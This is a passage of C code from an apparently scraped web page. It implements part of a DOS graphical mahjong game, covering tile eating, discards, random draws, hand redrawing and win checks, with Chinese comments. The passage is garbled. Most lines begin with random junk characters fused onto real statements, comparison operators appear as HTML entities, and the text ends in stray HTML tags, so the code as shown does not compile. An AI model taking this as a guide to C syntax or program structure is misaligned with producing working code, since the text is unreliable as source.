computer.pp[kkk].k=comp.pp[kkk].k;
$ V% U7 }* x- \9 x, h' J6 Q' \2 J3 Ucomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
+ D' l# X% T' C7 S+ e1 v( Bcomputer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
}
& l( @) {1 g, g9 ~6 J( f+ o3 tfillRectangle(0,0,320,30,0);
/ \4 R: H* k8 Dll=0;
7 \/ w% j+ S+ t& t) {zy=0;
while(ll&lt;=computer.m)
1 u% M4 t0 K: M2 `{
zy=zy+20;
) B& }3 y: i% n9 Ushowybmp(ll);
: u# t/ w+ k* j0 N6 Wll++;
}
8 j- q& T& ^2 V+ Vsing=0;
+ X' U8 k* \8 O9 v( asing1=1;
$ a* s. x! \5 {3 ?) K}
if(sing==7) /*如果可以吃的，做相应处理*/
{ nn=0;
; l- I# a) w- S4 {, U0 P. t3 Q, W! Akkk=0;
1 v' x  c. Y  s7 M1 d0 ikkkk=0;
while(kkk&lt;=computer.m)
{
' {  D! \. s7 O: A7 M$ G, Z1 Uif(computer.pp[kkk].c!=1)
/ w4 a2 C! P/ V) e2 [: {{
9 F- B8 K1 p) [2 b$ M% [" {( Ccomp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
0 U( T* E+ Q5 b3 @/ C7 ~5 }2 Ocomp.pp[kkkk].number=computer.pp[kkk].number;
  L7 ^% x# k2 o' j  hkkkk++;
}
5 P" ^# g  [: ]7 D! yelse
{
m[computer.pp[kkk].number].data1=1;
. T" y) P; E. k3 h7 I+ r/ hdw[nn++]=computer.pp[kkk].number;
. y3 n6 L$ f$ i" K6 ?computer.pp[kkk].c=0;
: l  y- o+ w/ G  C5 M; P3 ]- |}
  d0 t; c3 e8 H- x, P5 h6 bkkk++;
}

* y  ^0 o2 E1 S( Yif(me.pp[every].number&lt;dw[0])
5 V3 M4 E- n0 j% k) W! G- i{
/ I$ `. h8 O; @) b6 G) ndw[2]=dw[1];
dw[1]=dw[0];
dw[0]=me.pp[every].number;
3 \, k# g& k# }" O) d4 M& `}
" U! E% `" {8 L. Kif(me.pp[every].number&gt;dw[1])
{
dw[2]=me.pp[every].number;
}
9 L2 F' V1 S# Y: p4 ^7 d* o- O/ uif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
{
dw[2]=dw[1];
dw[1]=me.pp[every].number;
, @' I5 v0 k0 ?# x6 Z}
# d! n# p. Y3 S  a7 M9 B+ Qnn=0;
( ^: {5 \( u$ \) W. t( b( jwhile(nn&lt;3)
. n" S5 S9 s% A. ^, |{ zl=zl+20;
( j$ V$ {2 E3 W8 D! h; [bmpp(dw[nn]); /*显示吃的牌*/
3 Y! h, X1 F0 o# Onn++;
* W3 c7 m- c  ]1 F}
zl=zl+9600-60;
* t; a5 h/ R( h/ u8 _6 \% f) `kkk=0;
  W( H/ q1 e1 Icomputer.m=computer.m-2;
while(kkk&lt;=computer.m)
$ }5 q5 f' n# v. w9 q{
* ?( p, W+ |# Gcomputer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
. o  C3 ^+ P4 V, I  y$ a# S( ~computer.pp[kkk].number=comp.pp[kkk].number;
" U% ~; Q  q- Rkkk++;
}
ll=0;
temp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
zyy=zyy-9280;
9 @+ d5 k6 C# S/*****/
rgznme(temp);
% F# |/ b5 ?! v6 Vpanduan();
+ k3 A: G/ n6 M0 Z% ~if(me.m==0)
if(second==1 &amp;&amp; threes==0)
printf("you win!");
if(me.m==3)
3 D" F- V& P: b' @/ S, H4 m# J6 dif(second==1 &amp;&amp; threes==1)
9 v- N2 J! j4 Y# {- X4 Z$ Uprintf("you win!");
if(me.m==6)
* F( C7 t( @" E0 T+ {( e) D- Oif(second==1 &amp;&amp; threes==2)
printf("you win!");
if(me.m==9)
if(second==1 &amp;&amp; threes==3)
1 U+ H1 d5 O/ R* M8 w  ?printf("you win!");
if(me.m==12)
2 V& X  J; ~% X$ X( {$ a7 sif(second==1 &amp;&amp; threes==4)
printf("you win!");
0 A9 `5 j) g3 o3 B+ t3 z, w
# A: G" ^5 F7 @- I# g- K6 Dkkk=0;
kkkk=0;
2 K( z  g) \9 iwhile(kkk&lt;=computer.m)
- B/ q: r! @- x{
1 j3 P: y3 N5 B6 Iif(kkk!=temp)
4 V, y2 x4 N0 c2 N/ i5 D{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
2 f9 Q; ^0 R' w0 xcomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
% M0 O* m) q+ `6 Q! ?5 zelse
m[computer.pp[kkk].number].data1=1;
0 k: c( Y3 c: S6 Gkkk++;
}
2 r7 x. X/ {9 C+ U& |kkk=0;
; K( Q: U3 w2 ?* D% n; qcomputer.m=computer.m-1;
while(kkk&lt;=computer.m)
/ t5 o6 l# A6 O{
computer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
}
fillRectangle(0,0,320,30,0);
. B/ e2 q" ~) u' _% I; r  r# Yn=computer.m;
ll=0;
zy=0;
; J, d* @( {$ g& A9 lwhile(ll&lt;=n)
; T  L( y( C" X9 j  W3 t{
zy=zy+20;
# I( k$ i; {3 D9 ishowybmp(ll);
$ H7 M7 R) Q& @6 {ll++;
}

: Q8 ^$ S8 N' I) {9 V" ^/ Vgetch();
sing=0;
7 }/ F/ F1 q1 g. Psing1=1;
$ _6 J, M" E5 \' k9 _}
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
{
6 Y$ B7 o% P$ I$ Mkk=0;
h=me.pp[every].number;
m[h].data1=1; /*此牌已经无用*/
! [+ q; E6 O( @1 Z7 B) Uif(sing1!=1)
+ B8 D8 ?6 \+ L9 K{
zyy=zyy+9280+20;
& S# |4 H' H- vshowbmpd(every);
zyy=zyy-9280;
" [1 x7 f9 T7 T* h}
+ w* b+ j* F* Y; J6 s! p% m1 \3 Zwhile(kk!=1)
2 Y+ e. z$ w1 c" U5 J/ m4 O8 _- h% R{
& z7 Z# l: k1 t2 Qtemp=random(136);
# M$ @/ I) ~6 c5 aif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
, }1 i/ p# f; zme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
$ l. `5 e: _% l0 fme.pp[every].number=temp; /*第几张，用来排序*/
2 y5 e: L% E& |, S! k. l/ Z0 G2 v# B9 T) [m[temp].data2=1; /*判断牌是谁的*/
$ ^2 D8 U$ w: vkk=1;
}
if(kk==0) /*判断如果又选择了，就从新再选*/
( Y- {/ ?; @' m. fkk=0;
6 Y. P0 B6 P6 ^& I8 I/ t}
4 r+ w  |- P- f: V  |; ]3 C}
  \0 @3 J5 Q5 ising=0;
sing1=0;
" J! Y( o4 {2 D8 r, O1 U& Hmelipai();
n=13;
/ z% n% I' x$ p: Y8 u4 s) Gz1=54400;
l=0;
g=z;
9 [1 y$ i  _4 p! V% r1 X! @while(l&lt;n)
{ z=0;
z1=z1+20;
showbmp(l);
8 n& m! e; C, G  ]: D! Dl++;
9 F5 ^/ `- H1 l2 X2 _, A}
z1=0;
. ~! W# @) |1 x$ v, i$ r( Cz=g;
}
keyy=0;
}

getch();
! n$ j- e/ \4 C3 S$ ~$ H: }; bOUTVGA;
}
</P></DIV>